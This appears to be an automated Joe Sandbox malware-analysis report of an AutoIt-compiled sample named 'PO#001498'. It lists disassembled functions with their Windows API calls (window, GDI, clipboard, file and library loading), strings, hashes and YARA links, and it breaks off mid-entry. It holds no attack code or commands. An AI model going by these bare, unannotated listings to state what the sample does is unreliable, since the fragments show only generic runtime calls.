                                                                                                                                                                                Function 00459384 Relevance: 79.2, APIs: 41, Strings: 4, Instructions: 480filewindowcomCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 004593D7
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 004593F1
                                                                                                                                                                                • DestroyWindow.USER32(?), ref: 00459407
                                                                                                                                                                                • GetDesktopWindow.USER32 ref: 0045942A
                                                                                                                                                                                • GetWindowRect.USER32(00000000), ref: 00459431
                                                                                                                                                                                • SetRect.USER32(50000001,00000000,00000000,000001F4,?), ref: 00459568
                                                                                                                                                                                • AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00459577
                                                                                                                                                                                • CreateWindowExW.USER32(?,AutoIt v3,00000000,?,88C00000,?,?,50000001,?,?,00000000,00000000), ref: 004595BB
                                                                                                                                                                                • GetClientRect.USER32(00000000,?), ref: 004595C8
                                                                                                                                                                                • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,?,00000000,00000000,00000000), ref: 00459615
                                                                                                                                                                                • CreateFileW.KERNEL32(00000000,?,80000000,00000000,00000000,00000003,00000000,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459635
                                                                                                                                                                                • GetFileSize.KERNEL32(00000000,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459654
                                                                                                                                                                                • GlobalAlloc.KERNEL32(00000002,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 0045965F
                                                                                                                                                                                • GlobalLock.KERNEL32(00000000), ref: 00459668
                                                                                                                                                                                • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459678
                                                                                                                                                                                • GlobalUnlock.KERNEL32(00000000), ref: 0045967F
                                                                                                                                                                                • CloseHandle.KERNEL32(00000000,?,50000001,?,?,00000000,00000000,00000000), ref: 00459686
                                                                                                                                                                                • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,50000001,?,?,00000000,00000000,00000000), ref: 00459694
                                                                                                                                                                                • OleLoadPicture.OLEAUT32(?,00000000,00000000,00482A20,000001F4), ref: 004596AD
                                                                                                                                                                                • GlobalFree.KERNEL32(00000000), ref: 004596C0
                                                                                                                                                                                • CopyImage.USER32(000000FF,00000000,00000000,00000000,00002000), ref: 004596EF
                                                                                                                                                                                • SendMessageW.USER32(00000000,00000172,00000000,000000FF), ref: 00459712
                                                                                                                                                                                • SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,50000001,?,?,00000000,00000000,00000000), ref: 0045973D
                                                                                                                                                                                • ShowWindow.USER32(?,00000004,?,50000001,?,?,00000000,00000000,00000000), ref: 0045974B
                                                                                                                                                                                • CreateWindowExW.USER32(00000000,static,00000000,?,?,0000000B,0000000B,?,?,?,00000000,00000000), ref: 0045979C
                                                                                                                                                                                • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 004597AD
                                                                                                                                                                                • GetStockObject.GDI32(00000011), ref: 004597B7
                                                                                                                                                                                • SelectObject.GDI32(00000000,00000000), ref: 004597BF
                                                                                                                                                                                • GetTextFaceW.GDI32(00000000,00000040,00000190,?,50000001,?,?,00000000,00000000,00000000), ref: 004597CD
                                                                                                                                                                                • GetDeviceCaps.GDI32(00000000,0000005A), ref: 004597D6
                                                                                                                                                                                • DeleteDC.GDI32(00000000), ref: 004597E1
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00459800
                                                                                                                                                                                • _wcscpy.LIBCMT ref: 0045981F
                                                                                                                                                                                • CreateFontW.GDI32(?,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,00000190), ref: 004598BB
                                                                                                                                                                                • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 004598D0
                                                                                                                                                                                • GetDC.USER32(?), ref: 004598DE
                                                                                                                                                                                • SelectObject.GDI32(00000000,?), ref: 004598EE
                                                                                                                                                                                • SelectObject.GDI32(00000000,?), ref: 00459919
                                                                                                                                                                                • ReleaseDC.USER32(?,00000000), ref: 00459925
                                                                                                                                                                                • MoveWindow.USER32(?,0000000B,?,?,?,00000001), ref: 00459943
                                                                                                                                                                                • ShowWindow.USER32(?,00000004,?,00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,00000190), ref: 00459951
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Window$Create$Object$Global$Rect$DeleteFileSelect$MessageSendShow$AdjustAllocCapsClientCloseCopyDesktopDestroyDeviceFaceFontFreeHandleImageLoadLockMovePictureReadReleaseSizeStockStreamTextUnlock_wcscpy_wcslen
                                                                                                                                                                                • String ID: $AutoIt v3$DISPLAY$static
                                                                                                                                                                                • API String ID: 4040870279-2373415609
                                                                                                                                                                                • Opcode ID: d6fd8d7be04635d93ea84c38fc4cb072183cdb5133bdcfdddae5d23db1010fc6
                                                                                                                                                                                • Instruction ID: fce7466cc8f2b4b34a2e278d60cb4f704f90ff1017bfb666dbfc83d8aba9d67a
                                                                                                                                                                                • Opcode Fuzzy Hash: d6fd8d7be04635d93ea84c38fc4cb072183cdb5133bdcfdddae5d23db1010fc6
                                                                                                                                                                                • Instruction Fuzzy Hash: 3F028C70204301EFD714DF64DE89F2BB7A8AB84705F104A2DFA45AB2D2D7B4E805CB69
                                                                                                                                                                                Function 00403E50 Relevance: 45.7, APIs: 14, Strings: 12, Instructions: 236COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: __wcsnicmp
                                                                                                                                                                                • String ID: #NoAutoIt3Execute$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#requireadmin$Cannot parse #include$Unterminated group of comments
                                                                                                                                                                                • API String ID: 1038674560-3360698832
                                                                                                                                                                                • Opcode ID: c74d0d52908dbbec4f5022c33a9c4844136c2b84c95de0bb8b15b994b6f8f789
                                                                                                                                                                                • Instruction ID: b6083b7aed1673b33e689ff2aa7e8f17f47d7310e90ec65f4167159f85ee96f3
                                                                                                                                                                                • Opcode Fuzzy Hash: c74d0d52908dbbec4f5022c33a9c4844136c2b84c95de0bb8b15b994b6f8f789
                                                                                                                                                                                • Instruction Fuzzy Hash: 5A611471B4071076EA306A229C46FAB735CDF14345F50052FFC01A628BE7ADDA4A86EE
                                                                                                                                                                                Function 00433D5C Relevance: 42.2, APIs: 28, Instructions: 198windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetSysColor.USER32(0000000E), ref: 00433D81
                                                                                                                                                                                • SetTextColor.GDI32(?,00000000), ref: 00433D89
                                                                                                                                                                                • GetSysColor.USER32(00000012), ref: 00433DA3
                                                                                                                                                                                • SetTextColor.GDI32(?,?), ref: 00433DAB
                                                                                                                                                                                • GetSysColorBrush.USER32(0000000F), ref: 00433DBF
                                                                                                                                                                                • GetSysColor.USER32(0000000F), ref: 00433DCB
                                                                                                                                                                                • CreateSolidBrush.GDI32(?), ref: 00433DD4
                                                                                                                                                                                • GetSysColor.USER32(00000011), ref: 00433DEB
                                                                                                                                                                                • CreatePen.GDI32(00000000,00000001,00743C00), ref: 00433DFD
                                                                                                                                                                                • SelectObject.GDI32(?,00000000), ref: 00433E0D
                                                                                                                                                                                • SetBkColor.GDI32(?,?), ref: 00433E19
                                                                                                                                                                                • SelectObject.GDI32(?,?), ref: 00433E29
                                                                                                                                                                                • InflateRect.USER32(?,000000FF,000000FF), ref: 00433E54
                                                                                                                                                                                • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00433E73
                                                                                                                                                                                • GetWindowLongW.USER32 ref: 00433E8A
                                                                                                                                                                                • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00433EAC
                                                                                                                                                                                • GetWindowTextW.USER32(00000000,00000000,00000105), ref: 00433EE1
                                                                                                                                                                                • InflateRect.USER32(?,000000FD,000000FD), ref: 00433F13
                                                                                                                                                                                • DrawFocusRect.USER32(?,?), ref: 00433F1F
                                                                                                                                                                                • GetSysColor.USER32(00000011), ref: 00433F2E
                                                                                                                                                                                • SetTextColor.GDI32(?,00000000), ref: 00433F36
                                                                                                                                                                                • DrawTextW.USER32(?,?,000000FF,?,?), ref: 00433F4E
                                                                                                                                                                                • SelectObject.GDI32(?,?), ref: 00433F63
                                                                                                                                                                                • DeleteObject.GDI32(?), ref: 00433F70
                                                                                                                                                                                • SelectObject.GDI32(?,?), ref: 00433F78
                                                                                                                                                                                • DeleteObject.GDI32(00000000), ref: 00433F7B
                                                                                                                                                                                • SetTextColor.GDI32(?,?), ref: 00433F83
                                                                                                                                                                                • SetBkColor.GDI32(?,?), ref: 00433F8F
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Color$ObjectText$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 1582027408-0
                                                                                                                                                                                • Opcode ID: aa49e6287f5c8eaa4963889518cb643ef6cff4134c3562cc94785d6825a4d511
                                                                                                                                                                                • Instruction ID: aa454ab644ffbff4d2185aee23397a25bdbdaef3ad5a75b83a3ebbbeed3afe32
                                                                                                                                                                                • Opcode Fuzzy Hash: aa49e6287f5c8eaa4963889518cb643ef6cff4134c3562cc94785d6825a4d511
                                                                                                                                                                                • Instruction Fuzzy Hash: 53710570508340AFD304DF68DD88A6FBBF9FF89711F104A2DFA5592290D7B4E9418B6A
                                                                                                                                                                                Function 0046C604 Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 216clipboardCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • OpenClipboard.USER32(?), ref: 0046C635
                                                                                                                                                                                • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046C643
                                                                                                                                                                                • GetClipboardData.USER32(0000000D), ref: 0046C64F
                                                                                                                                                                                • CloseClipboard.USER32 ref: 0046C65D
                                                                                                                                                                                • GlobalLock.KERNEL32(00000000), ref: 0046C688
                                                                                                                                                                                • CloseClipboard.USER32 ref: 0046C692
                                                                                                                                                                                • IsClipboardFormatAvailable.USER32(00000001), ref: 0046C6D5
                                                                                                                                                                                • GetClipboardData.USER32(00000001), ref: 0046C6DD
                                                                                                                                                                                • GlobalLock.KERNEL32(00000000), ref: 0046C6EE
                                                                                                                                                                                • GlobalUnlock.KERNEL32(00000000), ref: 0046C726
                                                                                                                                                                                • CloseClipboard.USER32 ref: 0046C866
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Clipboard$CloseGlobal$AvailableDataFormatLock$OpenUnlock
                                                                                                                                                                                • String ID: HH
                                                                                                                                                                                • API String ID: 589737431-2761332787
                                                                                                                                                                                • Opcode ID: 1f8588b948bb152d659cc961560e711d284fc80ef968a1445fa6f6d22cce4332
                                                                                                                                                                                • Instruction ID: ccec0c76267f611a980a6192e38ed766f4c6ddce8b7f15b38bc446a2cb1d96e7
                                                                                                                                                                                • Opcode Fuzzy Hash: 1f8588b948bb152d659cc961560e711d284fc80ef968a1445fa6f6d22cce4332
                                                                                                                                                                                • Instruction Fuzzy Hash: 4D61E5722003019BD310EF65DD86B5E77A8EF54715F00483EFA41E72D1EBB5D9048BAA
                                                                                                                                                                                Function 0045657D Relevance: 38.8, APIs: 19, Strings: 3, Instructions: 287windowCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetCursorPos.USER32(?), ref: 00456692
                                                                                                                                                                                • GetDesktopWindow.USER32 ref: 004566AA
                                                                                                                                                                                • GetWindowRect.USER32(00000000), ref: 004566B1
                                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 0045670D
                                                                                                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00456720
                                                                                                                                                                                • DestroyWindow.USER32(?), ref: 00456731
                                                                                                                                                                                • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00456779
                                                                                                                                                                                • SendMessageW.USER32(00000000,00000432,00000000,0000002C), ref: 00456797
                                                                                                                                                                                • SendMessageW.USER32(?,00000439,00000000,0000002C), ref: 004567C0
                                                                                                                                                                                • SendMessageW.USER32(?,00000421,?,?), ref: 004567D8
                                                                                                                                                                                • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 004567EE
                                                                                                                                                                                • IsWindowVisible.USER32(?), ref: 00456812
                                                                                                                                                                                • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 0045682E
                                                                                                                                                                                • SendMessageW.USER32(?,00000411,00000001,0000002C), ref: 00456843
                                                                                                                                                                                • GetWindowRect.USER32(?,?), ref: 0045685C
                                                                                                                                                                                • MonitorFromPoint.USER32(?,?,00000002), ref: 00456880
                                                                                                                                                                                • GetMonitorInfoW.USER32 ref: 00456894
                                                                                                                                                                                • CopyRect.USER32(?,?), ref: 004568A8
                                                                                                                                                                                • SendMessageW.USER32(?,00000412,00000000), ref: 0045690A
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Window$MessageSend$Rect$LongMonitor$CopyCreateCursorDesktopDestroyFromInfoPointVisible
                                                                                                                                                                                • String ID: ($,$tooltips_class32
                                                                                                                                                                                • API String ID: 541082891-3320066284
                                                                                                                                                                                • Opcode ID: 25380f5391d2fe641591a116f81b43842710cc101ecbbf85cfa067c854d9f55a
                                                                                                                                                                                • Instruction ID: 3987ef5f26dee50c6234681dd74380f3ee0746d74ffcadc96223edc745891050
                                                                                                                                                                                • Opcode Fuzzy Hash: 25380f5391d2fe641591a116f81b43842710cc101ecbbf85cfa067c854d9f55a
                                                                                                                                                                                • Instruction Fuzzy Hash: 33B18EB0604341AFD714DF64C984B6BB7E5EF88704F408D2DF989A7292D778E848CB5A
                                                                                                                                                                                Function 00454DAA Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 203windowlibraryCOMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00454DCF
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00454DE2
                                                                                                                                                                                • __wcsicoll.LIBCMT ref: 00454DEF
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00454E04
                                                                                                                                                                                • __wcsicoll.LIBCMT ref: 00454E11
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00454E24
                                                                                                                                                                                • __wcsicoll.LIBCMT ref: 00454E31
                                                                                                                                                                                  • Part of subcall function 004115D0: __wcsicmp_l.LIBCMT ref: 00411657
                                                                                                                                                                                • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00454E65
                                                                                                                                                                                • LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,?,?,?,?,?,?,?,00000000), ref: 00454E79
                                                                                                                                                                                • LoadImageW.USER32(00000000,00000000,?,00000001,?,?), ref: 00454EB7
                                                                                                                                                                                • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00454EFB
                                                                                                                                                                                • LoadImageW.USER32(00000000,00000000,?,00000001,?,?), ref: 00454F2C
                                                                                                                                                                                • FreeLibrary.KERNEL32(00000000), ref: 00454F37
                                                                                                                                                                                • ExtractIconExW.SHELL32(?,00000000,00000000,?,00000001), ref: 00454F94
                                                                                                                                                                                • DestroyIcon.USER32(?), ref: 00454FA2
                                                                                                                                                                                • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00454FC0
                                                                                                                                                                                • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00454FCC
                                                                                                                                                                                • MoveWindow.USER32(?,?,?,?,?,00000001), ref: 00454FF1
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: Load$Image_wcslen$__wcsicoll$IconLibraryMessageSend$DestroyExtractFreeMoveWindow__wcsicmp_l
                                                                                                                                                                                • String ID: .dll$.exe$.icl
                                                                                                                                                                                • API String ID: 2511167534-1154884017
                                                                                                                                                                                • Opcode ID: 3f138871eb6b7f703bfd118eaab481945a2915db6d26b5ab3e2ea40d00a2935e
                                                                                                                                                                                • Instruction ID: 777b7c61fe84a0ac0f88e3bb9536c5d4e291b97e4b5026f6b39318954af55ba4
                                                                                                                                                                                • Opcode Fuzzy Hash: 3f138871eb6b7f703bfd118eaab481945a2915db6d26b5ab3e2ea40d00a2935e
                                                                                                                                                                                • Instruction Fuzzy Hash: D461D9711043016AE620DF659D85F7B73ECEF84B0AF00481EFE81D5182E7B9A989C77A
                                                                                                                                                                                Function 00436B3A Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 190COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                • GetFileVersionInfoSizeW.VERSION(?,?), ref: 00436B4E
                                                                                                                                                                                • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000), ref: 00436B73
                                                                                                                                                                                • _wcslen.LIBCMT ref: 00436B79
                                                                                                                                                                                • _wcscpy.LIBCMT ref: 00436B9F
                                                                                                                                                                                • _wcscat.LIBCMT ref: 00436BC0
                                                                                                                                                                                • VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00436BE7
                                                                                                                                                                                • _wcscat.LIBCMT ref: 00436C2A
                                                                                                                                                                                • _wcscat.LIBCMT ref: 00436C31
                                                                                                                                                                                • __wcsicoll.LIBCMT ref: 00436C4B
                                                                                                                                                                                • _wcsncpy.LIBCMT ref: 00436C62
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: _wcscat$FileInfoVersion$QuerySizeValue__wcsicoll_wcscpy_wcslen_wcsncpy
                                                                                                                                                                                • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                                                                                                                                                • API String ID: 1503153545-1459072770
                                                                                                                                                                                • Opcode ID: 1bca29e3adc21336a21f3c01565ed382529ec8d4b1eae201a388b16e544b708b
                                                                                                                                                                                • Instruction ID: f4118b49cd66f9fee818cdfc0bae26735a4a754b0a3131160812af9443992caa
                                                                                                                                                                                • Opcode Fuzzy Hash: 1bca29e3adc21336a21f3c01565ed382529ec8d4b1eae201a388b16e544b708b
                                                                                                                                                                                • Instruction Fuzzy Hash: B54115B264020137D200B7269C83EFF735CDE99715F54091FFE45A2253FA2EA69642BE
                                                                                                                                                                                Function 00452788 Relevance: 34.8, APIs: 23, Instructions: 344COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                APIs
                                                                                                                                                                                  • Part of subcall function 004431E0: __time64.LIBCMT ref: 004431EA
                                                                                                                                                                                • _fseek.LIBCMT ref: 004527FC
                                                                                                                                                                                • __wsplitpath.LIBCMT ref: 0045285C
                                                                                                                                                                                • _wcscpy.LIBCMT ref: 00452871
                                                                                                                                                                                • _wcscat.LIBCMT ref: 00452886
                                                                                                                                                                                • __wsplitpath.LIBCMT ref: 004528B0
                                                                                                                                                                                • _wcscat.LIBCMT ref: 004528C8
                                                                                                                                                                                • _wcscat.LIBCMT ref: 004528DD
                                                                                                                                                                                • __fread_nolock.LIBCMT ref: 00452914
                                                                                                                                                                                • __fread_nolock.LIBCMT ref: 00452925
                                                                                                                                                                                • __fread_nolock.LIBCMT ref: 00452944
                                                                                                                                                                                • __fread_nolock.LIBCMT ref: 00452955
                                                                                                                                                                                • __fread_nolock.LIBCMT ref: 00452976
                                                                                                                                                                                • __fread_nolock.LIBCMT ref: 00452987
                                                                                                                                                                                • __fread_nolock.LIBCMT ref: 00452998
                                                                                                                                                                                • __fread_nolock.LIBCMT ref: 004529A9
                                                                                                                                                                                  • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004523ED
                                                                                                                                                                                  • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 00452432
                                                                                                                                                                                  • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045244F
                                                                                                                                                                                  • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 0045247D
                                                                                                                                                                                  • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045248E
                                                                                                                                                                                  • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004524AB
                                                                                                                                                                                  • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 004524D9
                                                                                                                                                                                • __fread_nolock.LIBCMT ref: 00452A39
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324797547.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                Similarity
                                                                                                                                                                                • API ID: __fread_nolock$_wcscat_wcscpy$__wsplitpath$__time64_fseek
                                                                                                                                                                                • String ID:
                                                                                                                                                                                • API String ID: 2054058615-0
                                                                                                                                                                                • Opcode ID: 983239acf030dd5dbcb525efe1f3094d5bf78e470c43ee0c462dc16c64ee25c2
                                                                                                                                                                                • Instruction ID: 66779ec6e5012556871fefb3c18d5d4f0449fb8b445ab61f685bb60241e2a5ae
                                                                                                                                                                                • Opcode Fuzzy Hash: 983239acf030dd5dbcb525efe1f3094d5bf78e470c43ee0c462dc16c64ee25c2
                                                                                                                                                                                • Instruction Fuzzy Hash: 16C14EB2508340ABD320DF65C881EEBB7E8EFC9714F444D2FF68987241E6799544CBA6
                                                                                                                                                                                Function 004559A8 Relevance: 33.7, APIs: 18, Strings: 1, Instructions: 401COMMON
                                                                                                                                                                                Download Yara Rule
                                                                                                                                                                                Strings
                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                • Source File: 00000000.00000002.1324670705.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                • Associated: 00000000.00000002.1324650534.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324728274.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                • Associated: 00000000.00000002.1324747883.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
